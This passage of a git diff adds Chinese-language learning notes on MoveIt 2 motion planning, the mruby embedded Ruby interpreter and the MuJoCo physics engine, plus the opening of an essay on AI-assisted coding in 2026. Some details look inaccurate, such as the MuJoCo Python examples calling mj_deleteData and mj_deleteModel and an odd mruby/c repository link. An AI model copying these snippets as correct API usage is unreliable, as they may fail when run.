+- `PlanningSceneInterface` 可在同程序里 `applyCollisionObject()` 往环境加障碍。
+
+---
+
+## 代码示例 2：Python moveit_py — 命名姿态与 Pose 目标
+
+MoveIt 2 的 Python 绑定 **moveit_py** 适合快速实验。以下综合官方 [Motion Planning Python API](https://moveit.picknik.ai/main/doc/examples/motion_planning_python_api/motion_planning_python_api_tutorial.html) 教程写法：
+
+```python
+#!/usr/bin/env python3
+import rclpy
+from geometry_msgs.msg import PoseStamped
+from moveit.planning import MoveItPy
+
+
+def plan_and_execute(robot, planning_component, logger):
+    logger.info("Planning trajectory...")
+    plan_result = planning_component.plan()
+    if not plan_result:
+        logger.error("Planning failed")
+        return False
+    logger.info("Executing plan")
+    robot.execute(plan_result.trajectory, controllers=[])
+    return True
+
+
+def main():
+    rclpy.init()
+    logger = rclpy.logging.get_logger("moveit2_zero_notes")
+
+    panda = MoveItPy(node_name="moveit_py")
+    panda_arm = panda.get_planning_component("panda_arm")
+    logger.info("MoveItPy ready")
+
+    # --- A. 用 SRDF 预设姿态：ready → extended ---
+    panda_arm.set_start_state(configuration_name="ready")
+    panda_arm.set_goal_state(configuration_name="extended")
+    plan_and_execute(panda, panda_arm, logger)
+
+    # --- B. 用 PoseStamped 指定末端目标 ---
+    panda_arm.set_start_state_to_current_state()
+    pose_goal = PoseStamped()
+    pose_goal.header.frame_id = "panda_link0"
+    pose_goal.pose.orientation.w = 1.0
+    pose_goal.pose.position.x = 0.28
+    pose_goal.pose.position.y = -0.2
+    pose_goal.pose.position.z = 0.5
+    panda_arm.set_goal_state(pose_stamped_msg=pose_goal, pose_link="panda_link8")
+    plan_and_execute(panda, panda_arm, logger)
+
+    rclpy.shutdown()
+
+
+if __name__ == "__main__":
+    main()
+```
+
+在 Jupyter 或交互式环境里，还可以用 `MoveItConfigsBuilder` 显式加载 URDF/SRDF，再传入 `MoveItPy(config_dict=...)`——适合 **尚未** 启动标准 demo launch 的原型阶段。
+
+向 Planning Scene 添加碰撞盒（避障规划前置步骤）：
+
+```python
+from shape_msgs.msg import SolidPrimitive
+from geometry_msgs.msg import Pose
+from moveit_msgs.msg import CollisionObject
+
+with planning_scene_monitor.read_write() as scene:
+    obj = CollisionObject()
+    obj.header.frame_id = "panda_link0"
+    obj.id = "box_on_table"
+    box = SolidPrimitive()
+    box.type = SolidPrimitive.BOX
+    box.dimensions = [0.1, 0.1, 0.4]  # x, y, z
+    pose = Pose()
+    pose.position.x = 0.5
+    pose.position.y = 0.0
+    pose.position.z = 0.25
+    obj.primitives.append(box)
+    obj.primitive_poses.append(pose)
+    obj.operation = CollisionObject.ADD
+    scene.apply_collision_object(obj)
+    scene.current_state.update()
+```
+
+---
+
+## 为新机器人接入 MoveIt 2 的推荐路径
+
+1. **准备 URDF/xacro**：连杆、关节限位、collision mesh 尽量准确。
+2. **运行 Setup Assistant**（`moveit_setup_assistant`）：定义规划组、生成 SRDF、选规划器、配置 controllers。
+3. **Launch 验证**：`move_group` + RViz Motion Planning 插件，拖拽交互式 Marker 看能否规划。
+4. **接真机**：配置 `moveit_controllers.yaml` 与 `ros2_control` 轨迹控制器；先 `plan()` 可视化，再小比例速度 `execute()`。
+5. **上线感知（可选）**：深度相机点云 → Octomap / collision object 更新 Planning Scene。
+
+官方概念文档 [move_group](https://github.com/moveit/moveit2_tutorials/blob/main/doc/concepts/move_group.rst) 对架构图和插件扩展有完整说明。
+
+---
+
+## 规划器怎么选（零基础速查）
+
+| 插件 | 特点 | 典型用途 |
+| --- | --- | --- |
+| OMPL（RRTConnect 等） | 采样规划，通用 | 研究、非结构化环境 |
+| Pilz Industrial Motion Planner | PTP / LIN / CIRC，可预测 | 工业节拍、标准轨迹 |
+| CHOMP / STOMP | 优化型 | 平滑轨迹、重复任务 |
+| 笛卡尔路径 API | 直线插补 | 沿表面移动 |
+
+同一目标可配置 **Multi Pipeline** 并行规划，按路径长度、时间或自定义代价选最优解。
+
+---
+
+## 与相关项目的关系
+
+- **[[ros2]]**：通信与构建底座；MoveIt 2 包用 ament/colcon 编译。
+- **ros2_control**：真机执行轨迹时，MoveIt 的 Trajectory Execution Manager 把 `RobotTrajectory` 发给 FollowJointTrajectory 等控制器。
+- **Gazebo / Isaac Sim**：仿真里发布 `/joint_states`，MoveIt 同样可规划；注意仿真与真机 URDF 一致。
+- **Nav2**：移动底盘 + 机械臂 = 「走到货架前（Nav2）+ 伸手抓取（MoveIt）」分层架构。
+
+---
+
+## 常见坑与调试建议
+
+1. **Planning failed / 无解**：检查目标是否在关节限位外、是否 IK 无解、障碍物是否把目标包住；在 RViz 里打开 Planned Path 与 Collision 可视化。
+2. **plan 成功但 execute 不动**：controller 未配置或未 action server；用 `ros2 control list_controllers` 排查。
+3. **模型「穿模」**：URDF collision 过于简化，或 SRDF 里禁用了本该检查的 link 对。
+4. **速度过快**：默认 scaling factor often 0.1；真机先 0.05 或更低，在 `joint_limits.yaml` 设长期默认值。
+5. **Python 与 C++ 混用**：可以——move_group 节点一个，多个客户端同时连；注意 namespace 与 `robot_description` 参数一致。
+
+调试工具：`ros2 topic echo /joint_states`、RViz MotionPlanning 面板、MoveIt Visual Tools 在 C++ demo 里逐步高亮轨迹。
+
+---
+
+## 学习路线建议
+
+| 阶段 | 内容 | 资源 |
+| --- | --- | --- |
+| 第 1 天 | 跑通 Panda demo launch + RViz 拖拽规划 | moveit2_tutorials quickstart |
+| 第 2–3 天 | 读 Move Group C++ / Python 教程，改目标 Pose | picknik.ai tutorials |
+| 第 4–5 天 | Setup Assistant 为自己的 URDF 生成 config | MoveIt Setup Assistant 文档 |
+| 第 2 周 | 加碰撞物体、attach 物体、接 ros2_control 仿真 | Planning Scene 教程 |
+| 进阶 | Hybrid Planning、Servo 实时控制、Perception Pipeline | MoveIt 2 官方 Concepts |
+
+---
+
+## 小结
+
+MoveIt 2 把机械臂 motion planning 从「每个项目重造 IK + 碰撞 + 轨迹优化」变成 **可配置、可插件化、与 ROS 2 原生集成** 的标准栈。零基础记住这条主线即可：
+
+**URDF/SRDF 描述机器人 → Planning Scene 描述世界 → Planning Group 选定要动的关节 → 设 Pose/Joint/Named 目标 → plan 得到轨迹 → execute 交给控制器。**
+
+C++ 用 `MoveGroupInterface`，Python 用 `moveit_py`；真机前先在 RViz 里把碰撞和路径看清楚。官方源码与 issue 跟踪：[github.com/moveit/moveit2](https://github.com/moveit/moveit2)。
diff --git a/src/content/docs/projects/mruby.md b/src/content/docs/projects/mruby.md
new file mode 100644
index 000000000..6d36c6499
--- /dev/null
+++ b/src/content/docs/projects/mruby.md
@@ -0,0 +1,295 @@
+---
+title: mruby — 嵌入式 Ruby 解释器
+description: 轻量级 Ruby 实现，可嵌入 C/C++ 固件与游戏引擎
+来源: 'https://github.com/mruby/mruby'
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**mruby** 是 [mruby/mruby](https://github.com/mruby/mruby) 维护的 **轻量级 Ruby 解释器**，语法与 Ruby 4.x 兼容，目标是符合 ISO Ruby 标准的子集，并能 **静态链接进 C/C++ 应用**。它不是「在设备上装一套 CRuby + gem」，而是像给主程序配一个 **可裁剪的脚本引擎**——你决定解释器里装哪些能力、占多少 Flash/RAM。
+
+日常类比：如果把 **CRuby** 想成城市里完整的 **Ruby 主题乐园**（Rails、Bundler、OpenSSL、全量 stdlib 一应俱全），那 **mruby** 更像塞进微波炉说明书里的 **迷你食谱卡**：
+
+- **体积小**——默认构建的 `libmruby.a` 可压到几百 KB 量级，适合路由器固件、IoT MCU、游戏引擎插件层；
+- **可嵌入**——主程序是 C，Ruby 当「用户可改的配置脚本」，不用 fork 子进程、不用系统级 Ruby 安装；
+- **可预编译**——`mrbc` 把 `.rb` 编成 `.mrb` 字节码，甚至嵌成 C 数组，部署时不必带源码；
+- **能力靠 mrbgems 拼装**——正则、IO、`Enumerable` 扩展等不是「内核自带」，而是像乐高块一样在 `build_config/*.rb` 里勾选。
+
+典型使用者包括 **mruby/c**（面向微控制器的裁剪版）、游戏引擎（如部分任天堂平台工具链）、以及需要在 **单一二进制** 里跑 Ruby 逻辑的边缘设备。
+
+## 为什么重要
+
+不懂 mruby，下面这些场景很难选型：
+
+- **为什么 IoT / 嵌入式要用 Ruby 而不是 Lua**——mruby 提供 Ruby 语法与生态 familiarity，同时体积远小于 CRuby；和 Lua 一样可嵌入，但团队若已熟悉 Ruby，迁移成本更低
+- **固件里如何让用户写「插件脚本」**——C 主程序 `mrb_open()` 创建虚拟机，加载 `.rb` 或预编译 `.mrb`，通过 C API 双向调用
+- **为什么 `NoMethodError` 可能是「没链进 gem」**——mruby 把 CRuby 内核里的很多特性拆成 **mrbgems**；minimal 构建可能没有 `Regexp`、`Kernel#binding` 等
+- **和 MicroPython、WASM 运行时如何分工**——MicroPython 占 MCU 极致裁剪；mruby 占「要 Ruby 语义 + C 嵌入」；WASM 占跨语言沙箱——mruby 是 **原生进程内脚本 VM** 路线
+
+一句话：**mruby 把 Ruby 从「服务器语言」拉进「你的 C 程序里」。**
+
+## 核心概念
+
+### 1. 工具链四件套
+
+| 工具 | 作用 | 类比 |
+|------|------|------|
+| `mruby` | 执行 `.rb` 或 `-b` 字节码 | 迷你 `ruby` |
+| `mirb` | 交互 REPL | 迷你 `irb` |
+| `mrbc` | 编译到 `.mrb` 或生成 C 字节码数组 | 迷你 `ruby -c` + 部署器 |
+| `libmruby.a` | 嵌入用静态库 | 可链接的 VM 内核 |
+
+构建流程：`git clone` → `rake` → 产物在 `bin/` 与 `build/host/lib/`。
+
+### 2. mrb_state：一个 Ruby「小宇宙」
+
+每个嵌入场景通常对应一个 **`mrb_state *`**——独立的堆、GC、全局常量表、异常状态。多实例 = 多宇宙，彼此隔离（类似 Lua 的 `lua_State`）。
+
+- `mrb_open()`：带默认 gems 的完整状态
+- `mrb_open_core()`：更精简，无 gems
+- `mrb_close(mrb)`：释放
+
+### 3. 执行路径：源码 vs 字节码
+
+```
+.rb 源码 ──mrbc──► .mrb 字节码 ──mrb_load_irep──► VM 执行
+     │                                              ▲
+     └── mrb_load_string / mrb_load_file ──────────┘
+```
+
+- **开发期**：改 `.rb` 即生效，适合迭代
+- **发布期**：`mrbc app.rb` 只部署字节码，体积更小、加载更快，且可不链 `mruby-compiler` gem 以减小二进制
+
+### 4. mrbgems：编译期功能开关
+
+mruby 没有 CRuby 那种运行时 `gem install`。扩展在 **编译 mruby 本身** 时通过 `conf.gem` 链入：
+
+```ruby
+MRuby::Build.new do |conf|
+  conf.toolchain :gcc
+  conf.gembox 'default'   # 预置 gem 集合
+  conf.gem core: 'mruby-socket'  # 按需追加
+end
+```
+
+`default.gembox` / `stdlib.gembox` 覆盖常见开发；`minimal` 配置可裁到只剩核心，换功能 = 换构建配置后 **重编 libmruby**。
+
+### 5. C API 双向桥接
+
+| 方向 | 典型 API | 用途 |
+|------|----------|------|
+| C → Ruby | `mrb_load_string`, `mrb_funcall` | 执行脚本、调 Ruby 方法 |
+| Ruby → C | `mrb_define_method`, `mrb_get_args` | 暴露原生函数给脚本 |
+| 数据 | `mrb_fixnum_value`, `mrb_str_new_lit` | C 值与 `mrb_value` 互转 |
+
+**重要**：编译扩展 C 代码时必须使用 `mruby-config --cflags`，与库构建时的 `MRB_*` 宏一致，否则可能 **静默内存布局错误**。
+
+### 6. 与 CRuby 的关键差异（选型前必读）
+
+| 主题 | CRuby | mruby |
+|------|-------|-------|
+| 部署 | 解释器 + gems + 系统库 | 静态链接进你的二进制 |
+| 隐式类型转换 | `to_int` / `to_str` 等 | 基本不支持，要显式类型 |
+| 模式匹配 | 完整 `case/in` |  mainly `=>` 右向赋值 |
+| Refinements | 支持 | 不支持 |
+| Encoding | `Encoding` 类 | 默认字节串；UTF-8 需编译选项 |
+| Fiber | 可跨 Ruby 调用栈 | **不能** 在 C 函数边界内切换（类 Lua 协程） |
+| Array 实例变量 | 支持 | **不支持**（省内存） |
+
+完整列表见官方 [limitations.md](https://github.com/mruby/mruby/blob/master/doc/limitations.md)。
+
+### 7. 架构一瞥（贡献者向）
+
+```
+源码 / 字节码
+    ▼ Parser + Codegen（mruby-compiler gem）
+    ▼ IRep（中间表示）
+    ▼ VM 指令循环（栈式）
+    ▼ 三色标记 GC +（可选）分代
+```
+
+对象用 **`mrb_value`** 编码（value boxing / NaN boxing 等，由编译配置决定）。与 CRuby 的 `VALUE` + `RStruct` 思路类似，但布局更紧凑。
+
+## 快速上手
+
+### 构建与运行
+
+```bash
+git clone https://github.com/mruby/mruby.git
+cd mruby
+rake
+
+# 交互
+./bin/mirb
+
+# 脚本
+echo 'puts "Hello, mruby!"' > hello.rb
+./bin/mruby hello.rb
+
+# 字节码
+./bin/mrbc hello.rb          # → hello.mrb
+./bin/mruby -b hello.mrb
+```
+
+### 示例一：Ruby 侧——设备配置 DSL
+
+下面这段脚本适合放在路由器或网关固件里，由用户改写 Wi-Fi 与 LED 行为，无需重编 C：
+
+```ruby
+# config.rb — 由嵌入层预先注入 `Device` 类（C 实现）
+Device.wifi_ssid = "home-lab"
+Device.led_mode  = :blink_slow
+
+def apply_profile(name)
+  case name
+  when "night"
+    Device.led_mode = :off
+    Device.wifi_power_save = true
+  when "party"
+    Device.led_mode = :rainbow
+  else
+  end
+  Device.commit!
+end
+
+apply_profile("night")
+puts "SSID=#{Device.wifi_ssid}, LED=#{Device.led_mode}"
+```
+
+主程序在启动时用 `mrb_load_file` 加载该文件；`Device` 的方法在 C 里用 `mrb_define_method` 绑定到硬件寄存器。改配置只换 `.rb` 或 `.mrb`，OTA 可只推送脚本层。
+
+### 示例二：C 侧——最小嵌入 + 注册原生方法
+
+```c
+#include <stdio.h>
+#include <mruby.h>
+#include <mruby/compile.h>
+#include <mruby/string.h>
+
+/* Ruby 可调用的 C 函数：my_add(a, b) */
+static mrb_value
+my_add(mrb_state *mrb, mrb_value self)
+{
+  mrb_int a, b;
+  mrb_get_args(mrb, "ii", &a, &b);
+  return mrb_fixnum_value(a + b);
+}
+
+int main(void)
+{
+  mrb_state *mrb = mrb_open();
+  if (!mrb) return 1;
+
+  /* 挂到 Kernel，全局可用 */
+  mrb_define_method(mrb, mrb->kernel_module, "my_add",
+                    my_add, MRB_ARGS_REQ(2));
+
+  /* 执行 Ruby */
+  mrb_load_string(mrb,
+    "puts my_add(3, 4)\n"
+    "puts 'embedded OK'\n");
+
+  if (mrb->exc) {
+    mrb_print_error(mrb);
+    mrb_close(mrb);
+    return 1;
+  }
+
+  mrb_close(mrb);
+  return 0;
+}
+```
+
+链接（在 mruby 源码树内）：
+
+```bash
+gcc -I include $(build/host/bin/mruby-config --cflags) embed.c \
+  $(build/host/bin/mruby-config --ldflags --libs) -o embed
+./embed
+# 7
+# embedded OK
+```
+
+### 示例三：预编译字节码嵌入（无 compiler gem）
+
+发布固件时去掉解析器可省空间：
+
+```bash
+bin/mrbc -Bruby_code app.rb   # 生成 app.c，内含 ruby_code[]
+```
+
+```c
+#include <mruby.h>
+#include <mruby/irep.h>
+#include "app.c"
+
+int main(void) {
+  mrb_state *mrb = mrb_open();
+  mrb_load_irep(mrb, ruby_code);
+  if (mrb->exc) mrb_print_error(mrb);
+  mrb_close(mrb);
+  return 0;
+}
+```
+
+## 构建定制与集成模式
+
+### gembox 与交叉编译
+
+- `MRUBY_CONFIG=build_config/minimal.rb rake`：极简 VM
+- `conf.gembox 'default'`：日常开发推荐集合
+- mruby 构建系统基于 **Rake + Ruby DSL**，支持为 ARM/RISC-V 等目标 **交叉编译** 同一套 `build_config`
+
+### Amalgamation（单文件嵌入）
+
+类似 SQLite 的 amalgamation：`rake amalgam` 生成 `mruby.c` + `mruby.h`，把整棵源码树塞进你的工程，适合不便管理子模块的遗留 C 项目。
+
+### mruby/c
+
+[mruby/c](https://github.com/mruby-rocks/mruby/c)（社区常称 mruby/c）在 mruby 之上再裁 VM、对象模型和 GC，面向 **几十 KB RAM** 的 MCU。若 RAM 以 KB 计，先评估 mruby/c；若以 MB 计且团队要 Ruby 语法，标准 mruby 更合适。
+
+## 与相近项目对比
+
+| 项目 | 语言 | 嵌入方式 | 典型场景 |
+|------|------|----------|----------|
+| **CRuby** | C | 进程外调用为主 | 服务器、Rails、全生态 |
+| **mruby** | C | `libmruby.a` 进程内 | 固件、游戏、桌面应用脚本层 |
+| **MicroPython** | C | 静态链接 | MCU、教育硬件 |
+| **Lua** | C | `lua.h` | 游戏脚本事实标准 |
+| **RustPython** | Rust | Rust crate | Rust 宿主 + Python 语法 |
+
+选型口诀：**要 Rails → CRuby；要 Ruby 语法进 C 固件 → mruby；要 Python 进 Rust → RustPython；要极致 KB 级 → Lua / MicroPython / mruby/c。**
+
+## 调试与排错
+
+- **交互验证**：`mirb` 快速试 API 与 gem 是否链入
+- **mrdb**：官方调试器 gem，可断点单步（需构建时启用）
+- **常见坑**：
+  - `NoMethodError` → 查是否缺少对应 **mrbgem**
+  - C 扩展崩溃 → 检查 **GC Arena**（`mrb_gc_arena_save` / `restore`）与 `mrb_value` 生命周期
+  - 与 CRuby 结果不一致 → 先查 [limitations](https://github.com/mruby/mruby/blob/master/doc/limitations.md)，不要假设完整语义
+
+## 学习路径建议
+
+1. 本机 `rake` 构建，用 `mirb` 熟悉 **语言子集**（哪些语法可用）
+2. 读 `doc/guides/getting-started.md`，跑通 **embed.c** 最小示例
+3. 写一个 **C 定义类 + Ruby 调用** 的小项目（如 `Sensor.read`）
+4. 用 `mrbc` 走通 **字节码部署** 路径，测量二进制体积差异
+5. 打开 `build_config/default.rb`，理解 **gem 列表** 与裁剪
+6. 若上 MCU，转读 **mruby/c** 与目标板的 `build_config`
+
+## 官方资源
+
+- 仓库：<https://github.com/mruby/mruby>
+- 官网与发布说明：<https://mruby.org/>（当前稳定版 4.0.0）
+- 文档索引：<https://github.com/mruby/mruby/tree/master/doc>
+- C API：<https://github.com/mruby/mruby/blob/master/doc/guides/capi.md>
+- 语言特性：<https://github.com/mruby/mruby/blob/master/doc/guides/language.md>
+
+## 小结
+
+mruby 不是「小号的 CRuby」，而是 **为嵌入而生的 Ruby VM**：编译期用 mrbgems 定能力边界，运行期用 C API 与宿主共舞，部署期可用字节码隐藏源码。理解 **mrb_state、mrbgems、mrbc 与 limitations 四条线**，就能在固件、引擎或工具里安全地贴上 Ruby 脚本层——而不必把整个 Ruby 世界搬进设备。
diff --git a/src/content/docs/projects/mujoco-deepmind.md b/src/content/docs/projects/mujoco-deepmind.md
new file mode 100644
index 000000000..778b738a6
--- /dev/null
+++ b/src/content/docs/projects/mujoco-deepmind.md
@@ -0,0 +1,210 @@
+---
+title: MuJoCo 学习笔记 —— 从零理解物理仿真引擎
+来源: https://github.com/google-deepmind/mujoco
+日期: 2026-06-13
+分类: 机器学习
+子分类: 机器人与 VLA
+provenance: pipeline-v3
+---
+
+# MuJoCo 学习笔记 —— 从零理解物理仿真引擎
+
+## 什么是 MuJoCo？
+
+MuJoCo 的全称是 **Mu**lti-**Jo**int dynamics with **Co**ntact（多关节接触动力学）。你可以把它想象成一个"虚拟物理实验室"——你在里面搭建一个由关节连接的机械结构（比如机械臂、人形机器人），然后告诉计算机："帮我把它的运动算出来"。计算机就会模拟重力、碰撞、摩擦力等一切物理效果，告诉你每个瞬间这些部件会在哪里、以什么速度运动。
+
+它由 Google DeepMind 维护，是目前机器人和强化学习领域最主流的物理仿真引擎之一。
+
+## 核心概念
+
+### 类比：搭积木 + 按播放键
+
+想象你在搭一套乐高：
+
+1. **模型定义**（mjModel）= 你搭好的乐高结构。它描述了有什么零件、怎么连接、有多重。这个模型一旦搭好就不变了。
+2. **仿真数据**（mjData）= 每一帧的状态。包括每个零件此刻的位置、速度、受力情况。这个数据在仿真过程中不断变化。
+3. **仿真步骤**（mj_step）= 按下"播放键"，计算下一帧的状态。
+
+MuJoCo 的核心思想就是：**模型和数据分离**。同一个模型可以对应无数个不同的数据状态，这让你能同时跑很多条仿真（比如并行训练 1000 个不同的机器人策略）。
+
+### 关键术语速查
+
+| 术语 | 类比 | 说明 |
+|------|------|------|
+| Body | 一块积木 | 有质量、有惯性，但不直接显示形状 |
+| Geom | 积木的外观 | 碰撞体和渲染体，附着在 Body 上 |
+| Joint | 积木之间的连接件 | 决定两块积木能怎么动（旋转/滑动/自由浮动） |
+| Tendon | 绳子 | 连接不同部位，模拟肌腱或传动带 |
+| Actuator | 马达 | 给关节施加力的装置 |
+| mjModel | 乐高说明书 | 静态的模型描述 |
+| mjData | 当前状态 | 运行时变化的动态数据 |
+
+## MJCF 建模语言
+
+MuJoCo 使用一种叫 **MJCF** 的 XML 格式来描述场景。它的设计哲学是"默认值尽量智能"——你只需要写真正需要定制的部分，其余的用默认值。
+
+一个最简单的 MuJoCo 场景包含：
+
+- `<worldbody>`：世界坐标系下的所有物体
+- `<geom>`：几何体（平面、球体、盒子等）
+- `<body>`：刚体
+- `<joint>`：关节
+- `<light>`：光源
+
+## 代码示例
+
+### 示例一：用 Python 跑一个最简单的仿真
+
+这是最基础的用法——加载一个模型文件，然后让它自由下落。
+
+```python
+import mujoco
+import time
+
+# 1. 加载模型（从 XML 或 MJCF 文件）
+model = mujoco.MjModel.from_xml_path("hello.xml")
+data = mujoco.MjData(model)
+
+# 2. 运行仿真 10 秒
+while data.time < 10:
+    mujoco.mj_step(model, data)  # 推进一个时间步
+    print(f"时间: {data.time:.2f}s, 盒子高度: {data.xpos[1, 2]:.3f}")
+
+# 3. 清理资源
+mujoco.mj_deleteData(data)
+```
+
+对应的 `hello.xml` 场景文件：
+
+```xml
+<mujoco>
+  <worldbody>
+    <!-- 光源 -->
+    <light diffuse="0.5 0.5 0.5" pos="0 0 3" dir="0 0 -1"/>
+    <!-- 地面（平面） -->
+    <geom type="plane" size="1 1 0.1" rgba="0.9 0 0 1"/>
+    <!-- 一个自由浮动的盒子 -->
+    <body pos="0 0 1">
+      <joint type="free"/>  <!-- free = 6自由度（3平移 + 3旋转） -->
+      <geom type="box" size="0.1 0.2 0.3" rgba="0 0.9 0 1"/>
+    </body>
+  </worldbody>
+</mujoco>
+```
+
+运行后你会看到绿色的盒子从高度 1 的位置自由落体，碰到红色地面后弹起。
+
+### 示例二：用代码程序化创建模型并施加控制力
+
+不需要 XML 文件，完全用 Python 代码搭建模型，并给关节施加力矩让它动起来。
+
+```python
+import mujoco
+import numpy as np
+
+# 1. 用 mjSpec 程序化创建模型
+spec = mujoco.MjSpec()
+spec.model_name = "pendulum"
+
+# 添加地面
+spec.worldbody.add_geom(
+    type="plane", size=[0.5, 0.5, 0.1], rgba=[0.8, 0.8, 0.8, 1]
+)
+
+# 添加摆锤系统：固定轴 + 旋转杆 + 末端质量
+world_body = spec.worldbody
+arm = world_body.add_body(
+    pos=[0, 0, 1], name="arm_root"
+)
+arm.add_joint(
+    type="hinge",
+    axis=[0, 1, 0],       # 绕 Y 轴旋转
+    name="shoulder",
+    pos=[0, 0, -0.5]      # 关节相对 arm_root 的位置
+)
+tip = arm.add_body(pos=[0, 0, -0.5], name="tip")
+tip.add_geom(
+    type="sphere", radius=0.05, rgba=[1, 0, 0, 1], name="bob"
+)
+
+# 编译模型
+model = spec.compile()
+data = mujoco.MjData(model)
+
+# 2. 给关节施加控制力矩，让摆锤摆动
+for i in range(500):
+    # 给 shoulder 关节施加力矩（PD 控制思路）
+    qpos = data.qpos[0]           # 当前角度
+    qvel = data.qvel[0]           # 当前角速度
+    torque = -5.0 * qvel - 2.0 * np.sin(qpos)  # 简单阻尼控制
+    data.ctrl[0] = torque
+
+    mujoco.mj_step(model, data)
+
+    if i % 50 == 0:
+        print(f"步数: {i}, 角度: {np.degrees(qpos):.1f}°, 角速度: {qvel:.2f}")
+
+# 3. 清理
+mujoco.mj_deleteData(data)
+```
+
+这个例子展示了 MuJoCo 的一个重要能力：**你可以直接操控仿真中的力**。这在机器人控制训练中非常关键——你的 AI 策略就是通过输出控制信号（ctrl）来影响物理世界的。
+
+### 示例三（进阶）：批量并行仿真
+
+MuJoCo 的一个强大特性是：同一个 mjModel 可以被多个 mjData 共享，这意味着你可以轻松并行跑大量仿真。
+
+```python
+import mujoco
+import numpy as np
+
+# 编译模型（只需一次）
+spec = mujoco.MjSpec()
+spec.worldbody.add_geom(type="plane", size=[1, 1, 0.1])
+body = spec.worldbody.add_body(pos=[0, 0, 1])
+body.add_joint(type="free", name="root")
+body.add_geom(type="sphere", radius=0.1, rgba=[0, 0.8, 0, 1])
+model = spec.compile()
+
+# 创建 4 个独立的数据实例（共享同一个模型）
+num_envs = 4
+datas = [mujoco.MjData(model) for _ in range(num_envs)]
+
+# 给每个环境不同的初始位置
+for i, d in enumerate(datas):
+    d.qpos[0] = float(i) * 0.5  # X 方向错开
+
+# 并行步进
+for step in range(100):
+    for d in datas:
+        mujoco.mj_step(model, d)
+    print(f"Step {step}: 4个环境的X坐标 = {[d.qpos[0] for d in datas]}")
+
+# 清理
+for d in datas:
+    mujoco.mj_deleteData(d)
+mujoco.mj_deleteModel(model)
+```
+
+这种"一模型多数据"的模式正是强化学习中大规模并行训练的基石。
+
+## 为什么 MuJoCo 这么快？
+
+两个关键设计：
+
+1. **零内存分配**：初始化完成后，所有内存预先分配好。仿真过程中不再调用 malloc/free，避免了性能杀手。
+2. **约束岛并行**：MuJoCo 会自动发现哪些物体之间没有接触，把它们分成独立的"约束岛"，不同岛的计算可以并行执行。
+
+## 常见应用场景
+
+- **机器人强化学习**：DeepMind 的许多著名论文（如 DMC 系列）都用 MuJoCo 做仿真环境
+- **控制器设计**：验证 PID、MPC 等控制算法的效果
+- **生物力学研究**：模拟人体肌肉骨骼系统的运动
+- **图形学与动画**：生成逼真的物理驱动动画
+
+## 延伸学习
+
+- 官方文档：<https://mujoco.readthedocs.io/>
+- Python 教程 Colab：<https://colab.research.google.com/github/google-deepmind/mujoco/blob/main/python/tutorial.ipynb>
+- MJX（GPU 加速版）：<https://mujoco.readthedocs.io/en/stable/mjx.html>
+- 安装：`pip install mujoco`
diff --git a/src/content/docs/projects/my-take-on-ai-coding-2026.md b/src/content/docs/projects/my-take-on-ai-coding-2026.md
new file mode 100644
index 000000000..1ed4bc1ef
--- /dev/null
+++ b/src/content/docs/projects/my-take-on-ai-coding-2026.md
@@ -0,0 +1,247 @@
+---
+title: My Take on AI Coding (2026)
+来源: https://blog.zhengyi.com/posts/ai-coding-2026.html
+日期: 2026-06-13
+分类: 其他
+子分类: 工程文化
+provenance: pipeline-v3
+---
+
+## 是什么
+
+"AI Coding 2026" 是作者对其过去一年多来，使用 AI 工具完成编程全流程的真实总结。不是"AI 能不能写代码"的争论，而是"我用 AI 写代码的真实方式、踩过的坑、以及它已经改变了什么"。
+
+日常类比：
+
+- **2023 年的 AI 写代码**：像一个刚毕业的新人——能写简单的函数，但经常搞错需求，你需要逐行 Review。类比：你让一个实习生做 PPT，他做了，但每页都要你改。
+- **2025-2026 年的 AI 写代码**：像一个有经验的同事——你告诉它"做什么"，它自己决定"怎么做"，做完还能跑测试、修 bug。类比：你让同事做 PPT，他做完你就直接拿去开会。
+
+这篇文章的核心观点：**AI 编程已经进入了"你负责决策，AI 负责执行"的阶段。**
+
+## 为什么重要
+
+2024 年大家还在讨论"AI 会不会取代程序员"，到 2026 年，这个讨论已经变成了更实际的问题：
+
+- 一个会用 AI 的"普通开发者"，产出已经接近一个不用 AI 的"好开发者"
+- 编程的门槛从"语法会多少"变成了"你能不能把问题讲清楚"
+- 编程的能力模型变了——从"手写每一行"变成"设计 + 审查 + 迭代"
+
+## 核心概念
+
+### 概念 1：编程角色从"写代码"变成了"审代码"
+
+类比：过去厨师是"自己切菜、自己炒"，现在是"自己设计菜单、让 AI 做菜、你负责试吃"。你的核心能力变成了判断"这道菜对不对味"，而不是"这把刀怎么用"。
+
+代码示例——过去你写一个 API 端点：
+
+```javascript
+// 2023：你必须自己写出每一行
+app.get('/users/:id', async (req, res) => {
+  try {
+    const user = await User.findById(req.params.id);
+    if (!user) {
+      return res.status(404).json({ error: 'User not found' });
+    }
+    const posts = await Post.find({ author: user._id });
+    return res.json({ user, posts });
+  } catch (err) {
+    return res.status(500).json({ error: 'Server error' });
+  }
+});
+```
+
+现在你用 AI 写同一个端点——你只需要描述意图：
+
+```
+// 你告诉 AI：
+"帮我写一个 GET /users/:id 端点，返回用户信息和该用户的所有帖子，
+  404 时返回错误，出错时 500"
+```
+
+然后 AI 输出上面那段代码，你的任务是**读一遍、跑一下、确认正确**。
+
+### 概念 2：Prompt 质量决定产出质量
+
+类比：AI 编程就像你给外卖平台下订单——你说"随便来点好吃的"，它可能给你端来一碗冷饭；你说"要一份少辣的麻婆豆腐饭，不要香菜"，它就能给你对的。
+
+**好的 AI 编程 Prompt = 明确的需求 + 足够的上下文 + 清晰的验收标准**
+
+代码示例——差的 Prompt vs 好的 Prompt：
+
+```
+// 差的 Prompt（太模糊）
+"帮我写个用户注册功能"
+
+// 好的 Prompt（有上下文 + 约束 + 验收标准）
+"帮我写一个用户注册 API 端点，用 Express + MongoDB。
+要求：
+1. 接收 { email, password, name }，用 Joi 做校验
+2. 密码用 bcrypt 哈希，salt rounds = 10
+3. 邮箱必须唯一，重复返回 409
+4. 成功后返回 { id, email, name }，不返回密码
+5. 写完之后写对应的单元测试"
+```
+
+第二个 Prompt 的产出质量远高于第一个，因为**它给了 AI 和你预期完全对齐的约束**。
+
+### 概念 3：AI 编程的"审核循环"
+
+AI 写的代码不是"写了就完了"，核心流程变成了：
+
+```
+提出需求 → AI 生成代码 → 你读代码 → 你跑测试 → 有问题？→ 告诉 AI 修 → 再读再跑
+```
+
+类比：就像设计师出方案，不是"A 方案好还是 B 方案好"那种拍脑袋，而是"让 AI 出方案，你拿着尺子量——这个间距不对、那个颜色偏了、这个交互少了个过渡"。
+
